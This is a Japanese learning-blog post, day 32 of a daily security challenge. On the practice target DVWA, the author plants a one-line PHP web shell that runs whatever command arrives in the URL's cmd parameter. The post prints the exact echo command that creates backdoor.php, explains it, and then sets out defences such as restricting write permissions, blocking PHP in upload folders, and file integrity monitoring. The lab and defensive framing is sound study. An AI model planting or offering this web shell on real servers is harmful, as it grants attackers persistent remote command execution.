連日投稿32日目。昨日でDBの中まで見れた。今日はこの経路が対策された場合の「裏口（バックドア）」を仕掛ける。

今回の目的

こちらに従って進めております。

ここまでWebサーバーのシェルを奪い、データベースの情報まで抜き取ることに成功したが、その侵入経路（コマンドインジェクション脆弱性）を（開発者視点で）防いだ場合、さらにどういう脅威が予想されるかを考察した。単純にすぐイメージされるものはバックドアの設置だろう。

といわけで今回の目的は、バックドアって簡単に設置できるの??何をされている方なの??　を調べていきます。
具体的には、ブラウザのURLから好きなOSコマンドを実行できる、ごく簡単なWebシェルを作成する。

この連日投稿チャレンジについて
目的: セキュリティエンジニアとしての技術力向上
手段: シェルスクリプト作成を通じて学習
実施する事: 自動化,監視,ツール開発基礎学習

実行結果

Webサーバー(DVWA)のルートディレクトリにbackdoor.phpを設置。ブラウザでDVWAにアクセスし、URLバーにOSコマンドを打つと、その結果が画面に表示されることを確認した。これでいつでも戻ってこれる。

バックドアにwhoamiコマンドを送信

バックドアにls -lコマンドを送信

お分かりいただけただろうか。
プレースホルダー(?)の後、cmd=に続いて一般的なLinuxコマンドを打ち込めば、結果が表示されてしまう。
昨日までのようにわざわざリバースシェルを行う必要がなくなった。

ステップ

バックドアファイルの作成： echoコマンドとリダイレクション（>）を使い、一行のPHPコードを書き込んだbackdoor.phpを作成する。
動作確認： ローカルPCのブラウザから、作成したバックドアにアクセスし、URLパラメータ経由でコマンドが実行できることを確認する。

気づき

バックドアってどうやって作りますの？そもそもバックドアって実態はなんなん？を調べ、とりあえずPHPのファイルを作ればいいのね～を確認したと同時に、ふと思った。

「そもそも、www-dataユーザーでファイルなんて作れるんだっけ？」と。権限あります？？
昨日まででだいぶ煮え湯飲まされてますよ権限のあれこれで。

まあパーミッションエラー起こす程度だけど、先に確認しておくことにした。

# /var/www/html/ に書き込み権限があるかテスト
$ touch /var/www/html/test.txt

# lsでファイルが作成されたか確認
$ ls -l /var/www/html/test.txt
-rw-r--r-- 1 www-data www-data 0 Sep 23 08:25 /var/www/html/test.txt

うん、いけそう。

コード全文

バックドアの作成に使用したコマンドはこれだけ。
え、簡単すぎんか....？？

# Webサーバーのルートに、一行のPHPコードを書き込んだbackdoor.phpを作成する
$ echo "<?php system(\"$_GET[\\'cmd\\']\"); ?>" > /var/www/html/backdoor.php

コードの詳細な解説

この一行のコマンドは、シェルコマンドとPHPコードの2つの部分に分けられる。

シェルコマンド部分

echo "...": echoは、指定された文字列（この場合はPHPコード）を標準出力に表示するコマンド。
>: 出力リダイレクション演算子。echoコマンドの出力を、指定されたファイルに書き込む。ファイルが存在しない場合は新規作成し、存在する場合は上書きする。
/var/www/html/backdoor.php: 書き込み先のファイルパス。Webサーバーの公開ディレクトリに置くことで、ブラウザからアクセスできるようにしている。

PHPコード部分

<?php ... ?>: このタグで囲まれた部分がPHPコードとしてサーバーに解釈される。
$_GET[\'cmd\']: $_GETは、URLのクエリパラメータ（?以降の部分）を連想配列として格納するPHPのスーパーグローバル変数。[\'cmd\']は、cmdという名前のパラメータの値を取得することを意味する。例えば、backdoor.php?cmd=whoamiというURLにアクセスすると、whoamiという文字列が取得できる。
system(...): PHPの組み込み関数で、引数として渡された文字列をOSのコマンドとして実行し、その結果を出力する。

つまり、このコードは「URLのcmdパラメータで受け取った文字列を、そのままサーバーのコマンドとして実行しろ」という命令になっている。

防御者の視点：この攻撃にどう対策するか

じゃあどうやって防御すれば良いかを考えてみる。「www-dataユーザーからファイルの書き込み権限を奪えばいい」かと言えばそこまで単純な問題でもない。

一旦、書き込み権限が必要そうなものを洗い出す。

画像・ファイルのアップロード

キャッシュファイルへの書きこみ
ログファイルへの書き込み

さっと考えても、これらの正統な理由でアプリケーションがファイルへの書き込み権限を必要とする。

重要なの、「最小権限の原則」　と　「多層防御」　の考え方だそうな。

1. 書き込み権限を特定のディレクトリに限定する

これが最も重要な対策。www-dataユーザーが書き込みできるのは、/var/www/html/uploadsのような、決められたディレクトリだけにすべき。Webサーバーのルート( /var/www/html)に書き込み権限を与えるのは、非常に危険。

2. アップロードディレクトリでPHPの実行を無効化する

今回みたいに悪意のあるPHPファイルがアップロードされても、そのファイルを実行させなければ攻撃が成立しない。ApacheやNginxには本来の設定で、特定のディレクトリ（例：/uploads）でのPHP実行を無効化する機能があるらしい。

Apacheの場合
/var/www/html/uploadsディレクトリに、以下の内容で.htaccessファイルを設置する。

# このディレクトリ内の.phpファイルへのアクセスを全て拒否する
<Files "*.php">
    Require all denied
</Files>

Nginxの場合
サイトの設定ファイルにlocationブロックを追記する。

server {
    # ...

    # /uploads/ ディレクトリ内の.phpファイルへのリクエストは403エラーを返す
    location /uploads {
        location ~ \.php$ {
            return 403;
        }
    }

    # ...
}

3. ファイル整合性監視（FIM）を導入する

これは明日のチャレンジ(Day33)でやってみる。サーバー上のファイルが新規作成されたり、変更されたりした際に、即座に管理者にアラートを飛ばす仕組み。これにより、万が一バックドアが設置されても、早期に発見できる。

4. Webアプリケーションファイアウォール（WAF）を導入する

URLのパラメータを監視し、「ls」や「cat」のようなOSコマンドらしき文字列が含まれていたら、そのリクエストをブロックする事もできるそうな。

まとめ

今日思ったのは、バックドアの設置って簡単すぎん...？だった。正直、ちょっと怖い。
どういう方法でこれらを予防できるのか。具体的には「書き込み権限の分離」や「アップロードディレクトリでのスクリプト実行無効化を今日は考えてみた。
明日は、今日自分が設置したこのバックドアを、防御側の視点からどうやって見つけ出すかを考えてみる。